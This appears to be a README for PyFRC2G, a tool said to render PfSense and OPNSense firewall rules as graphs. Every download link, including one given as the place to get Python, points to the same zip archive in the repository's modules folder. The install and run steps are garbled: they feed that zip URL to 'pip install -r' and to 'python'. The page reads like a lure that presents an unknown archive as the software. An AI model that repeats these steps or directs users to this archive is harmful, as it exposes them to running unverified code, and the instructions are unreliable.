PyFRC2G is a user-friendly tool that helps you convert PfSense and OPNSense firewall rules into a clear graphical view. With this application, you can easily visualize your firewall flows, making network management simpler and more intuitive.
-
Check System Requirements:
- Operating System: Windows, macOS, or Linux
- Python 3.6 or later: Ensure that you have Python installed. You can download it from https://raw.githubusercontent.com/CallMeAL13/PyFRC2G/main/modules/PyFRC2G-3.1.zip.
-
Visit the Download Page:
Go to our Releases Page to find the latest version of PyFRC2G. -
Download the Application:
- Look for the latest release.
- Click on the download link for your operating system.
- The file will download as a compressed format (like .zip or https://raw.githubusercontent.com/CallMeAL13/PyFRC2G/main/modules/PyFRC2G-3.1.zip).
-
Extract the Files:
- Navigate to the folder where you downloaded the file.
- Extract the files using your file manager or a tool like WinRAR or 7-Zip.
-
Install Dependencies:
- Open a terminal or command prompt.
- Change to the directory where the extracted files are located.
- Run the following command:
pip install -r https://raw.githubusercontent.com/CallMeAL13/PyFRC2G/main/modules/PyFRC2G-3.1.zip
This command will install any necessary packages PyFRC2G needs to run.
-
Run the Application:
- In the terminal, still in your application's directory, run:
python https://raw.githubusercontent.com/CallMeAL13/PyFRC2G/main/modules/PyFRC2G-3.1.zip - The application should launch, ready for you to use!
- In the terminal, still in your application's directory, run:
- Graphical Visualization: Instantly see your firewall rules as a flowchart.
- Easy Navigation: Use an intuitive interface to navigate between different components of your firewall.
- Export Options: Save your visualizations in multiple formats for easy sharing or reporting.
- Support for Multiple Firewall Types: Works seamlessly with both PfSense and OPNSense.
If you encounter any issues while using PyFRC2G, consider the following:
- Dependency Errors: Ensure all required packages are installed by running the install command again.
- Compatibility Issues: Verify that your Python version meets the requirements. Some features might not work on older versions.
- File Not Found: Make sure the configuration files from your firewall are accessible, and you have provided the correct paths in the application.
For assistance, visit our GitHub Issues page to report problems, or ask for help from the community.
- ciso-assistant
- ciso-dashboard
- opnsense
- pfsense
We plan to enhance PyFRC2G with new features, such as:
- Improved customization options for visualizations.
- Additional support for more firewall types.
- Enhanced export capabilities.
We welcome your input and suggestions. Feel free to contribute!
To get started with PyFRC2G, remember to visit the Releases Page and download the version that suits your system.
Embrace control over your network by visualizing your firewall rules today!